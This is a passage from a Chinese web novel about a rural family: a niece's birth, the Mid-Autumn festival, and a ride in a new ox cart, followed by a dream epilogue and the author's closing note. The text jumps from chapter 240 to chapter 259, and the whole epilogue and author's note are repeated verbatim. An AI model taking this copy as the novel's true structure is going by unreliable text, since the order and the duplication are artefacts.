苗秋莲正在挑碎布,说:“狗儿陪着去看草药郎中了,说胃不舒坦,让郎中瞧瞧。” 原来这样,有身孕就是麻烦,各种难受,顾兰时点点头,又问:“竹哥儿出去了?” “去你三伯娘那边了。”苗秋莲没忍住,说:“前几天让你爹和姑丈打听了杏水村那户姓李的,还是觉得不大行,家里人是多,日子也好,可上头两个嫂子厉害,还有一个大姑姐,也厉害。” 她压低声音:“那家是非多,竹哥儿缺心眼,应付不来,还是算了,倒是张家村那个不错,只是还没细打听。” 顾兰时一听这样,也觉得不妥,竹哥儿要真过去了,不一定能处好,还是找个清静些的人家,开口道:“咱们又不愁,这个不行,还有别的呢,挑个最好的。” 苗秋莲笑瞪他一眼,这话说的,可不能让别人听见,不然还以为他家多能耐。 顾兰时没有多待,说两句闲话背着星星又出去了。 星星很招上了年纪的人喜爱,胖乎乎又精神,眼睛还大,一路往村外走,总有上前逗孩子的。 * 阳光柔和,从藤蔓枝叶的缝隙之中投射下来,斑驳映在地上。 葡萄粒已经有变红变紫的了,其实从浅红浅紫时,他俩没事就摘几粒吃,眼下越发接近成熟,顾兰时看得心满意足,提着菜篮从葡萄架底下出来。 再有十天就是中秋,今年祭月有不多见的葡萄了,到时候挑几串大的摆在香案上。 丝瓜摘了两个长老的,顾兰时放在木架上,晒几天干透了,剥了皮掏了籽,好刷锅洗碗。 裴厌在堂屋抱着星星举高高玩耍,臭小子已经十一个月了,越发足实,下个月就满周岁。 “啊——” 星星一高兴,呜呜乱叫起来。 儿子胖乎乎,裴厌抱着耍了好一阵,重复举高数次,比起孩子,总是大人先败下阵来,玩太多就没意思了。 他把星星放在地上,让学着站立。 星星还想被举高,一边哇哇叫一边耍赖,腿往上屈,脚丫子硬是不肯落地。 裴厌无奈,只能抱起儿子再次举高,星星便又笑起来。 顾兰时溜进灶房,幸好不是让他举,他力气再大,也架不住要把胖小子来回反复举高,每每玩一场下来,都觉得胳膊酸。 舀水洗菜,想起中秋的事,他高声道:“裴厌,过几天去镇上,记得买几包月饼回来,外头卖的好看,今年就不做了,多买两包,送节礼要用。” “知道了。”裴厌将星星抱在怀里,不再举高了,逗着儿子说:“去看葡萄,摘葡萄吃。” 星星已经知道葡萄是什么,更别说“吃”这个字,一下子就忘记举高高的事,小胳膊指着门外啊啊叫。 葡萄架下,裴厌抬手摘了几颗浅紫的葡萄粒,皮还没剥,就看见星星口水流了下来。 “兰时哥哥!” 裴厌下意识看向篱笆大门,竹哥儿气喘吁吁跑近,喊道:“小嫂嫂要生了!” “兰时!”裴厌大步往回走,高声喊了句。 顾兰时匆匆解下襜衣:“来了来了!” 星星不知道怎么了,被大人的紧张和高喊弄得有些不安,紧紧攥住裴厌衣裳,大眼睛看向跑远的阿姆,突然哇一声哭出来。 顾兰时听见星星哭,变跑为走频频回头:“阿姆等会儿就回来,爹爹在呢。” “你去吧,我回屋哄。”裴厌连忙抱着儿子回去,不让他看见顾兰时。 进屋后,星星还在哭,他给剥了个葡萄,递到儿子嘴边。 星星一下子止住哭泣,泪眼汪汪,长长的眼睫都是湿的,嘴巴一张,就把晶莹剔透的葡萄吃进去。 砸吧着酸甜的葡萄汁水,星星破涕为笑 裴厌见他变脸这么快,也笑了下,小东西,给点吃的连阿姆都忘了。 * 苗秋莲已经喊来好几个妇人夫郎,张春花和李月也在,顾兰时进屋看一眼,原本想在里面帮忙,但苗秋莲还是让他出去了,小孩子家家的,才生过一个,在这里添乱,赶紧和竹哥儿去烧水才是正事。 顾兰瑜去接稳婆了,顾铁山在院里团团转,他是完全帮不上忙的,转悠半天也没人理他,于是在柴堆前蹲下,万一有用到他的地方,不至于找不见人。 顾兰时和竹哥儿干惯了灶房的事,烧水起火有条不紊,剪子得在滚水里煮一煮,鸡蛋也给花惜霜备上了,万一生的时辰久,得吃点蛋羹补补力气。 给稳婆也要做饭,荤素都得备全。 顾兰时脚不沾地,没多久稳婆来了,他心里定了定神,和竹哥儿继续在灶房忙,偶尔听见花惜霜的痛叫,即便自己也生过,心里头还是不免担忧。 顾兰瑜站在院里不安极了,根本待不住,站在窗下问一句,没人理他,要么苗秋莲在屋里骂他,让离远些,碍手碍脚还来问话。 他只能在院里团团转,顾兰时给他倒了碗温水喝,才发现他手在打哆嗦。 生孩子这样的大事,谁都免不了提起心吊起胆,见弟弟平时的胆量不见了,他强行按着人坐下,万一吓蒙了腿软,一趔趄还不得摔倒,到时候都不知要先顾谁。 裴厌抱着星星站在门口,顾兰时一转头就看见了,匆匆走过去,说:“还没生呢,你俩先回去。” “稳婆到了?”裴厌问道。 顾兰时点点头:“到了,已经进去了,不会有什么事,要是这边耽搁久了,晚饭你自己做。” “嗯。”裴厌见院里乱糟糟的,大伙儿都顾不上别的事,星星在这边又是个累赘,便抱着孩子离开了。 * 花惜霜头胎,生产还算顺利。 夜色初临,裴厌再次带没有睡着的星星过来,还没进门,就听见稳婆的贺喜声传来,喜得千金,母女都平安。 门前院里都点了灯笼,裴厌看见顾兰瑜从椅子上一蹦而起,不由笑了下。 顾兰时也在院里等,听见门外的动静望过去。 灯笼光昏黄,裴厌抱着裹严实的星星目光柔和,他快步走过去,笑着说:“是闺女。” “嗯,我听见了。”裴厌笑道。 星星张开胳膊,顾兰时接过儿子,见星星揉眼睛,他横抱着儿子拍哄,低声问:“吃过了?” “吃了,你吃了没?”裴厌问道。 “刚吃过。”顾兰时回头让竹哥儿给稳婆备水和野澡珠洗手,张春花从房里出来,张罗着给稳婆的茶水和饭菜,有她在,顾兰时就没有再管了。 星星早就困了,只是头一回没有阿姆哄睡,哭闹着不愿意躺下,这会子闭上眼睛就睡着了。 顾兰时哄一会儿,又把儿子给裴厌:“我看看,估计没什么事了,你俩先回去。” 裴厌点点头:“天黑了,记得让狗儿送你过树林。” “行,知道了。”顾兰时又催促他往回走,等会儿天彻底黑了,孩子在外头不好。 别人不提,顾兰瑜是高兴的,女儿脸蛋圆圆,和花惜霜很像,小小一团很软,他都不敢抱。 “咱们家总算来个闺女。”张春花喜道。 她和李月都是两个儿子,盼着小双儿小闺女,愣是不来,四个野小子每天窜上窜下捣蛋,烦都要烦死了,这会儿两人轮换着抱侄女,都喜笑颜开的。 苗秋莲和稳婆闲聊几句,让人在自己屋里歇歇,吃茶吃饭,过来看见小孙女,也高兴得不行,这下孙子孙女都有了。 她接过孙女乐得合不拢嘴:“哎呦呦,瞧这俊的。” 别人抱时顾铁山不好过去看,见她在抱,顾铁山站在门外咳嗽一声,苗秋莲连忙过去,给他看看孙女。 顾兰时见没有大事要忙了,看过侄女以后,高高兴兴让狗儿送他回去。 第240章 女儿吃过奶乖乖就睡,顾兰瑜坐在炕边看着孩子傻乐,正在院里干活,一想起自己有闺女了,就把手里的活撂下进屋看闺女。 花惜霜歇了两天,总算有了精神头,她从小在家娇惯着长大,还是头一回吃这样的苦和痛,不过看见女儿安安静静睡在旁边,就觉得苦没白吃。 从女儿生下,两人就商量取名的事,大名自有顾铁山和苗秋莲定夺,这小名儿就落在他俩头上。 顾兰时来看弟妹和侄女的时候,得知侄女乳名叫小丫,高兴地对着侄女念了好几遍。 可惜小丫太小了,睁着乌黑的眼睛看一眼大人,又落向别处,也听不懂话。 至于大名,顾铁山这几天抓耳挠腮的,苗秋莲也经常出神琢磨,家里头一个孙女,花儿月儿又不能取,得避开长辈名讳,至于别的,太粗俗的不能取,太雅致的他俩想不出来,一时不能起好。 这也不忙,有个小名先叫着,慢慢想就是了。 因星星哭声叫声都大,顾兰时暂时没带他过去,万一闹起来吵着小丫。 * 眨眼就到中秋,按着习俗赶在节前送了礼,中秋这日,给两个长工放了假,乡下很少有给赏钱的,让带了些瓜果菜蔬回去。 刘大鹅和周大良没想到会给葡萄和石榴,又惊又喜,一串不大的葡萄搁在镇上,都得不少钱,别说家里人,他俩也就今年知道葡萄是个什么味儿,得了后两人提着一篮子东西,嘴笨说不出什么好听话,但不断向裴厌点头欠腰,心中分外感激。 下午,顾兰时支灶起火,裴厌背着星星剪葡萄摘果子,今年葡萄结的多,分给长工一点,让带回去吃也没什么。 昨天见葡萄紫的多,他摘了大半筐去镇上卖,二十几斤,因中秋在即,价钱很好,一斤十五文,总有爱尝鲜的,全卖了出去,得了三钱多。 村里亲戚离得近,送的节礼也有葡萄,过节都高兴高兴。 至于最大最好的那两串紫葡萄,裴厌留给了自家,没有卖掉。 星星在后面看见紫葡萄,张开小手啊啊叫,裴厌把剪下来的两大串葡萄小心放在竹匾上,随后抬胳膊,给儿子在别的葡萄上摘了两粒紫红透亮的。 狗闻到了肉味,都在院里打圈转悠。 裴厌端着竹匾进来,竹匾上两串葡萄在中间,周围是许多红枣和十来个红石榴。 他解下布兜,将星星放进摇篮里,先给儿子剥了葡萄吃,随后拿起另一个小竹匾:“兰时,星星在堂屋,我去摘柿子。” “好。”顾兰时忙着切菜,从窗子看见狗在院里,喊道:“大黑,去看着。” 大黑慢悠悠甩两下尾巴,就往堂屋走。 星星嘴巴里有葡萄肉,手里也有一个剥好的,捏的手上黏糊糊脏兮兮,他自己咯咯笑起来,很高兴的模样。 裴厌拿了竹竿够软柿子,底下伸手能够到的,已经没软的了。 前前后后忙活,夕阳沉下,夜色笼罩,圆月洒下银辉,亮而动人。 夜幕之上有星光点缀,一闪一闪,汇聚成银河。 上供燃香烧纸祭拜,和往年没什么不同,天上星星还是那么多,地上也有一个星星。 供果祭过之后,家里人多就分一分,尤其小孩子。 可星星还没长大,很多东西吃不了,依旧是顾兰时和裴厌的。 月色很亮,饭桌摆在院里。 裴厌开了一坛酒,自己倒了两杯,顾兰时只觉得月光柔和,说不出什么赏月的好词儿,颇觉舒畅怡然。 星星坐在摇篮里伸出小手要吃要喝,不是喊阿姆就是喊爹爹,说话依旧是朝外蹦几个字,很少能连在一起,着急了就啊啊叫。 不约而同的,两人抬头看一眼月亮。 满天月光星辉。 * 板车做好了,崭新平整,没有修补的一块块木板,看着就让人高兴。 顾兰时抱着星星在院里围着板车看,裴厌刚从徐木头那儿拉回来。 “新车车。”顾兰时伸手在车沿板子上拍拍,新的就是结实,木料也好。 “车、车。”星星也弯腰,伸着小手非要学他拍一拍。 顾兰时惊讶儿子今天话逮得不错,笑着让他拍了两下,小东西,就爱学大人。 裴厌牵了水牛从后院出来,用新做的绳索车套套好牛车,笑道:“坐着,出去转一圈,也让牛熟络熟络,后边割稻收豆让它拉车,让毛驴歇歇。” “行。”顾兰时一听这话,正好刘大鹅和周大良在大菜地干活,没有出门,他抱着星星跟裴厌往外走,等出去了再坐不迟。 “就这么干转?”他问道。 裴厌想一下,说:“要不顺路去买几块豆腐。” “我去拿钱,你把竹篮放上。”顾兰时喜笑颜开,总算找着个由头,不然出门了遇见人问,总不能说特意让牛拉车在外面走一圈,也太能显摆了。 裴厌想起什么:“多拿些,要是刘信家杀了猪,正好买一吊。” “知道了。”顾兰时应道,见板车挺稳,干脆把星星放在车上让他自己坐着。 星星笑个不停,小手哐哐拍车板,裴厌将竹篮放在车上,笑着拦下儿子举动,摸摸傻儿子的小脑瓜:“手该拍疼了。” 顾兰时揣好钱,见星星坐得安稳高兴,没有抱起,让裴厌牵牛走慢一点,自己跟在车旁扶着。 头一回自己坐车,星星啊啊哇哇叫起来,车一动他身子有点晃,立刻抱紧了顾兰时胳膊,等走稳之后,觉得没有危险了,又探出小手自己扶住车沿。 牛走得慢而稳重,出门之后,外头的路颠簸,不像家里还会修整,顾兰时也坐上去,他没有抱起星星,而是挨着儿子旁边坐下,伸胳膊揽住护着。 “兰哥儿,做什么去?” 刚出树林,就碰见往山上去的刘桂花和刘娥。 顾兰时扬声笑道:“婶子,我们去买豆腐。” “买豆腐啊。”刘桂花顺嘴接道,碰见了不过一两句闲话,她和刘娥继续朝山上走。 跨出几步才反应过来,卖豆腐的就在隔壁清水村,还套了牛车去,阵仗可真大。 进村子之后,又遇见几个人,顾兰时一句买豆腐响个不停,引得大伙儿都忍不住看他三人,不知道的,还以为豆腐多沉呢。 星星牙牙学语,听顾兰时说话,他逮不准豆腐的音,便只说买、买。 方红花正巧从家里出来,见孙婿牵着牛拉着车,孙子和曾外孙坐在车上,还以为一家三口要去哪里,牛都使上了,该不是有活要干。 结果一问是去买豆腐,她咂一下嘴没想出话来说,听见曾外孙开口了,直夸他们星星小脑瓜聪明。 顾兰时浑然不觉,出了村子后高兴地开口:“新车就是不一样,没那么多响动,车轱辘也稳。” 修钉的木板不平,有时候坐上去还得挪挪屁股,找个平坦的地儿。 他又喜滋滋开口:“这下不怕边沿的毛刺挂裤子线了,一整个都是平的,还宽敞。” “以后就坐这个。”裴厌同样高兴,看见前面有个熟悉的身影,远远的,顾兰瑜也看见了他,喊道:“厌哥——” 到了近前后,顾兰瑜才发现车里坐了小外甥,他捏捏星星肉脸蛋,笑道:“新车?” 裴厌点头:“嗯,在徐木头那边做的,今天刚弄好。” 顾兰瑜拍拍木板:“这木料好,做的大也宽敞。” “可不是。”顾兰时见他提了竹篮,问:“买什么去了?” 顾兰瑜笑着开口:“猪蹄子还有大骨棒,前天找了趟刘信,让他杀猪留两个猪蹄,回去给霜儿炖了吃。” 原来这样,确实要补补,顾兰时点点头。 “你们做什么去?还带着星星。”顾兰瑜好奇问道。 顾兰时将不安分、试图扒着车沿站起来的星星抱在怀里,说:“买几块豆腐,对了,你厌哥他们早上去河里下了网,明天收网,要是有鲫鱼的话,回头我给你送去,弄两块豆腐,炖个鱼汤,下lll奶也好。” 顾兰瑜点头应道:“行,那你们去,我也得赶紧回去了,娘和竹哥儿不在,小丫儿要是哭了,霜儿一个应付不来。” 待各自走出一段路,他回头看一眼,哪怕猜出是为了坐坐新车,还是笑了下,买豆腐。 * 牛走得稳,没有跑起来,星星坐在上面一点都不怕,小脑袋转着四处看。 这是他头一次到隔壁村买豆腐,卖豆腐的看见这么个胖娃娃,瞧得心喜,还问叫什么。 买了几块豆腐后,顾兰时本想抱着儿子,杀猪匠家离得不远,走去就行了。 但星星闹着还要坐,屁股挨着板车以后,肉墩墩一团,坐得很是稳当。 顾兰时照样在旁边一手扶着,等裴厌在刘信家门口停下来,他抱起星星:“去买肉肉,还有大骨头,星星吃不吃?” 一听“买”还有“肉”,星星立刻乖了,等进去后,瞧见挂在木架上的一扇猪肉,他眼睛都睁大了。 顾兰时笑了下,裴厌在前头让刘信割一吊五花肉,他抱着星星去看没打动的那扇肉,没离太近,隔了五六步远,怕吓到孩子。 一扇猪肉挺大的,星星瞅了半天没说话,不知道这东西是什么,他神色有点好奇,小手指了指,想过去摸摸。 顾兰时按下儿子小手,见裴厌钱付清了,转身离开:“走了走了,回去了,回去找汪汪看猪猪。” “汪。”星星想起家里的狗,奶声奶气学了一句。 “对,汪汪。”顾兰时脸上满是笑意。 裴厌也听见了,笑着同刘信道一声,提了肉往外走,逗儿子道:“再叫一声?” “汪。”星星用力学,小身子都往上拱了拱。 【正文完】 第259章 天湛蓝,朵朵白云缓缓飘过,绿草地缀满鲜花,山坡上有几棵花树正开得灿烂,花瓣被吹落,飘飘乎洒落在顾兰时眼前。 他伸手接住几片花瓣,垂在身侧的右手一动,这才发现,自己手里沉甸甸的,拎了一坛酒。 不知身处何地,顾兰时有些恍惚。 直到听见山坡上的声音,那座院子似乎离得挺远,在山坡上头,又似乎离得很近,他抬头,就看见从门里走出个穿蓝衣的双儿,眉心一点红钿分外漂亮。 有些眼熟。 对方也看见了他,神情似乎有点惊讶,但还是露出笑容,招呼道:“既然来了,为什么不进来?” 顾兰时猛然记起,他见过这人,还有个高大的汉子,以及一条大狼青。 那日多亏他俩,自己才能在兽口下逃生。 他也记起来了,自己曾说要以好酒还礼还恩情。 于是顾兰时提起酒坛示意一下,笑着说:“来迟了,还望见谅。” 明明只见过一面,但两人莫名熟稔。 山坡上的人大开院门以迎客,山脚下的人大步往上走,似乎一瞬间,顾兰时就到了跟前。 他无知无觉,门口的人也并无觉察,两人只笑,携手进了院里。 顾兰时说道:“上回匆忙,没有吃酒,这一坛好酒,怎么都要收下。” 蓝衣夫郎笑着接过:“那好,我这就备些野果山味。” 神思又是一阵轻晃,顾兰时跟着对方进东屋,太阳从窗外照进来,屋子里明亮干净,炕桌上几个果碟已经摆上,鲜果干果俱全。 两人上炕,对面相坐。 一个抬眉,眉眼神情天生带几分怯弱意,但言笑晏晏,颇觉亲近;另一个大方舒展,笑颜温和,同样好相处。 “从哪里来?这山林子远,你独自一人,路上不好走。”蓝衣夫郎好奇问道,将面前果碟往对面推推,示意顾兰时尝尝。 顾兰时抬手,没有瞎客气,拿了一个果子,先笑着开口:“从家来。” 他没想起自己是怎么找到这里的,正思索间,忽听到外头狗叫声响起。 那蓝衣夫郎喜不自胜:“他回来了。” 顷刻间,一个高大汉子背着长弓进了院子,一条眼熟的大狼青跑进来,双目有神威风凛凛,任谁见了都知道,这狗品相绝佳。 看见顾兰时,汉子并无敌意,也想起之前见过一面的事,从蓝衣夫郎口中得知,对方提酒来谢,便朝顾兰时颔首,温和道:“赶了远路来,歇歇脚,吃顿饭。” 顾兰时还未说话,再转头,桌上山珍野味已摆满。 蓝衣夫郎牵他手,让他又进东屋,坐在炕桌前吃喝。 至于那汉子,他无意间转头,看向窗外,发现对方顺势在院里吃饭喝酒,自斟自饮,似乎极为畅快,狗趴在地上啃骨头。 风和煦,太阳亮而不热,甚至有花瓣从外面飘进来,一路被吹进屋里,落在地上。 蓝衣夫郎给两人倒酒:“这好酒,都该尝尝。” 倒的正是顾兰时带来的那坛酒,清透香洌。 顾兰时小抿一口酒,笑着执筷,桌上摆的菜式许多他都没见过,对面人看出来,便一一为他说明。 原来肉都是汉子在山里打的野味,还有两人出去采挖的各种山珍菜素。 谈笑吃酒,好不快活。 耳畔传来一阵鸡鸣犬吠,顾兰时忽然想起什么,连忙下炕:“我该回去了。” 蓝衣夫郎没有挽留,和汉子一起送他到山脚下,指着前方一条宽敞直路说:“顺着这条路走,一直往前,不要拐,也不要回头,就走出去了。” 顾兰时答应一声,便同两人告别,独自踏上微微泛着雾气的大路。 白雾翻涌,渐渐遮住身后的路口,以及站在那里目送他的两人一狗。 顾兰时记着叮嘱,没有回头,一心只往前走。 不知走了多远,他忽然听见前头传来声响,脚下便加快了几分,伸手拨开云雾,却看见左前方延伸出去一条小岔路。 他站在原地没动,心里有个念头不断催促他,快些离开这里,不要理会岔路。 就在他跨出去一步时,忽有哭声响起,万分熟悉。 顾兰时不由停住脚,惊诧异常,那竟是他自己的哭声。 脚下想动,在想起叮咛之后,又落了回去,不敢乱跑,万一迷了路,就回不了家了。 他站在那里,往岔路尽头张望。 不怎么熟悉的男人出现在那里,因有雾气相隔,看不太真切,他仔细辨认了好一会儿,才认出是林晋鹏。 不止林晋鹏,还有他自己。 顾兰时看见自己在和林晋鹏争吵,甚至打了起来,即便听不到声音,也知道必是一番激烈撕扯,“自己”连神态都失尽。 雾气涌动,画面忽又变了,像是被切割成数十,要么躺在后山茅草屋里,拖着病体苟延残喘,要么是他被打被骂,磨掉了所有气性,心如死灰,终日坐在屋里不听不问,最后没有熬过寒冬。 两三种终途,皆以凄惨收场。 而家里人气运也不好,天灾水患,人祸地痞流贼,爹娘和哥哥弟弟过得捉襟见肘,甚至伤病。 顾兰时于雾气中看得分明,家里人身上似乎都有黑气缠笼,他心惊不已,只觉悚然。 也是在这一瞬间,他忽的明白过来。 当初梦里所见一切,和眼前所出现的,都是种种警示,以警醒他,若和林晋鹏成亲,等着他的,绝不会是好下场。 也幸好,有梦作预,这一场孽缘晦障,并未真的发生,他没有踏上这条岔路。 惊惧之下,顾兰时没有再停留,快步沿着大道往前走。 可走着走着,眼前迷雾重重,他辨不清方向。 直到看见雾中有人影若隐若现,哪怕只是一个侧脸,也熟悉无比。 裴厌。 顾兰时抬脚就往前追,裴厌总是出现在前面几步,他追不上撵不到,又气又急,最后大声喊:“裴厌!” 似有白光炸开,顾兰时心头猛一惊,再睁眼,房顶映入眼帘。 他轻喘着气,惊悸不已,胸口突然一沉,星星爬过来压在他身上,伸脑袋凑近,笑嘻嘻在他脸上啃了两口。 神思回转,轻飘飘的身体像是被压回原处,让他有了脚踏实地的真切感。 刚才做梦了? 顾兰时想不起来做了什么梦,那阵心悸过后,听见星星笑声,还有外头的狗叫和人声。 他遗忘了惶恐,再想不起来,只笑着拍拍儿子肉乎乎的屁股。 一转头看见裴厌推门进来,不想自己一觉睡到了大天亮,便抱着星星坐起来。 不知怎的,顾兰时很高兴,眉眼弯弯,看见裴厌后,就更高兴了。 裴厌见他睡饱了,一副笑眯眯的模样,不自觉也露出笑脸。 太阳很好,又是晴日朗朗。两人四目相对,尽是笑颜。 正文完—— 作者有话要说: 兰时和燕子的故事到这里就结束了,只是小农之家的日常,写不了太长太长,我自己觉得正文定格在这里很好,以前种种都了了,往后都是属于他们的幸福~ 【正文完】 第259章 天湛蓝,朵朵白云缓缓飘过,绿草地缀满鲜花,山坡上有几棵花树正开得灿烂,花瓣被吹落,飘飘乎洒落在顾兰时眼前。 他伸手接住几片花瓣,垂在身侧的右手一动,这才发现,自己手里沉甸甸的,拎了一坛酒。 不知身处何地,顾兰时有些恍惚。 直到听见山坡上的声音,那座院子似乎离得挺远,在山坡上头,又似乎离得很近,他抬头,就看见从门里走出个穿蓝衣的双儿,眉心一点红钿分外漂亮。 有些眼熟。 对方也看见了他,神情似乎有点惊讶,但还是露出笑容,招呼道:“既然来了,为什么不进来?” 顾兰时猛然记起,他见过这人,还有个高大的汉子,以及一条大狼青。 那日多亏他俩,自己才能在兽口下逃生。 他也记起来了,自己曾说要以好酒还礼还恩情。 于是顾兰时提起酒坛示意一下,笑着说:“来迟了,还望见谅。” 明明只见过一面,但两人莫名熟稔。 山坡上的人大开院门以迎客,山脚下的人大步往上走,似乎一瞬间,顾兰时就到了跟前。 他无知无觉,门口的人也并无觉察,两人只笑,携手进了院里。 顾兰时说道:“上回匆忙,没有吃酒,这一坛好酒,怎么都要收下。” 蓝衣夫郎笑着接过:“那好,我这就备些野果山味。” 神思又是一阵轻晃,顾兰时跟着对方进东屋,太阳从窗外照进来,屋子里明亮干净,炕桌上几个果碟已经摆上,鲜果干果俱全。 两人上炕,对面相坐。 一个抬眉,眉眼神情天生带几分怯弱意,但言笑晏晏,颇觉亲近;另一个大方舒展,笑颜温和,同样好相处。 “从哪里来?这山林子远,你独自一人,路上不好走。”蓝衣夫郎好奇问道,将面前果碟往对面推推,示意顾兰时尝尝。 顾兰时抬手,没有瞎客气,拿了一个果子,先笑着开口:“从家来。” 他没想起自己是怎么找到这里的,正思索间,忽听到外头狗叫声响起。 那蓝衣夫郎喜不自胜:“他回来了。” 顷刻间,一个高大汉子背着长弓进了院子,一条眼熟的大狼青跑进来,双目有神威风凛凛,任谁见了都知道,这狗品相绝佳。 看见顾兰时,汉子并无敌意,也想起之前见过一面的事,从蓝衣夫郎口中得知,对方提酒来谢,便朝顾兰时颔首,温和道:“赶了远路来,歇歇脚,吃顿饭。” 顾兰时还未说话,再转头,桌上山珍野味已摆满。 蓝衣夫郎牵他手,让他又进东屋,坐在炕桌前吃喝。 至于那汉子,他无意间转头,看向窗外,发现对方顺势在院里吃饭喝酒,自斟自饮,似乎极为畅快,狗趴在地上啃骨头。 风和煦,太阳亮而不热,甚至有花瓣从外面飘进来,一路被吹进屋里,落在地上。 蓝衣夫郎给两人倒酒:“这好酒,都该尝尝。” 倒的正是顾兰时带来的那坛酒,清透香洌。 顾兰时小抿一口酒,笑着执筷,桌上摆的菜式许多他都没见过,对面人看出来,便一一为他说明。 原来肉都是汉子在山里打的野味,还有两人出去采挖的各种山珍菜素。 谈笑吃酒,好不快活。 耳畔传来一阵鸡鸣犬吠,顾兰时忽然想起什么,连忙下炕:“我该回去了。” 蓝衣夫郎没有挽留,和汉子一起送他到山脚下,指着前方一条宽敞直路说:“顺着这条路走,一直往前,不要拐,也不要回头,就走出去了。” 顾兰时答应一声,便同两人告别,独自踏上微微泛着雾气的大路。 白雾翻涌,渐渐遮住身后的路口,以及站在那里目送他的两人一狗。 顾兰时记着叮嘱,没有回头,一心只往前走。 不知走了多远,他忽然听见前头传来声响,脚下便加快了几分,伸手拨开云雾,却看见左前方延伸出去一条小岔路。 他站在原地没动,心里有个念头不断催促他,快些离开这里,不要理会岔路。 就在他跨出去一步时,忽有哭声响起,万分熟悉。 顾兰时不由停住脚,惊诧异常,那竟是他自己的哭声。 脚下想动,在想起叮咛之后,又落了回去,不敢乱跑,万一迷了路,就回不了家了。 他站在那里,往岔路尽头张望。 不怎么熟悉的男人出现在那里,因有雾气相隔,看不太真切,他仔细辨认了好一会儿,才认出是林晋鹏。 不止林晋鹏,还有他自己。 顾兰时看见自己在和林晋鹏争吵,甚至打了起来,即便听不到声音,也知道必是一番激烈撕扯,“自己”连神态都失尽。 雾气涌动,画面忽又变了,像是被切割成数十,要么躺在后山茅草屋里,拖着病体苟延残喘,要么是他被打被骂,磨掉了所有气性,心如死灰,终日坐在屋里不听不问,最后没有熬过寒冬。 两三种终途,皆以凄惨收场。 而家里人气运也不好,天灾水患,人祸地痞流贼,爹娘和哥哥弟弟过得捉襟见肘,甚至伤病。 顾兰时于雾气中看得分明,家里人身上似乎都有黑气缠笼,他心惊不已,只觉悚然。 也是在这一瞬间,他忽的明白过来。 当初梦里所见一切,和眼前所出现的,都是种种警示,以警醒他,若和林晋鹏成亲,等着他的,绝不会是好下场。 也幸好,有梦作预,这一场孽缘晦障,并未真的发生,他没有踏上这条岔路。 惊惧之下,顾兰时没有再停留,快步沿着大道往前走。 可走着走着,眼前迷雾重重,他辨不清方向。 直到看见雾中有人影若隐若现,哪怕只是一个侧脸,也熟悉无比。 裴厌。 顾兰时抬脚就往前追,裴厌总是出现在前面几步,他追不上撵不到,又气又急,最后大声喊:“裴厌!” 似有白光炸开,顾兰时心头猛一惊,再睁眼,房顶映入眼帘。 他轻喘着气,惊悸不已,胸口突然一沉,星星爬过来压在他身上,伸脑袋凑近,笑嘻嘻在他脸上啃了两口。 神思回转,轻飘飘的身体像是被压回原处,让他有了脚踏实地的真切感。 刚才做梦了? 顾兰时想不起来做了什么梦,那阵心悸过后,听见星星笑声,还有外头的狗叫和人声。 他遗忘了惶恐,再想不起来,只笑着拍拍儿子肉乎乎的屁股。 一转头看见裴厌推门进来,不想自己一觉睡到了大天亮,便抱着星星坐起来。 不知怎的,顾兰时很高兴,眉眼弯弯,看见裴厌后,就更高兴了。 裴厌见他睡饱了,一副笑眯眯的模样,不自觉也露出笑脸。 太阳很好,又是晴日朗朗。两人四目相对,尽是笑颜。 正文完—— 作者有话要说: 兰时和燕子的故事到这里就结束了,只是小农之家的日常,写不了太长太长,我自己觉得正文定格在这里很好,以前种种都了了,往后都是属于他们的幸福~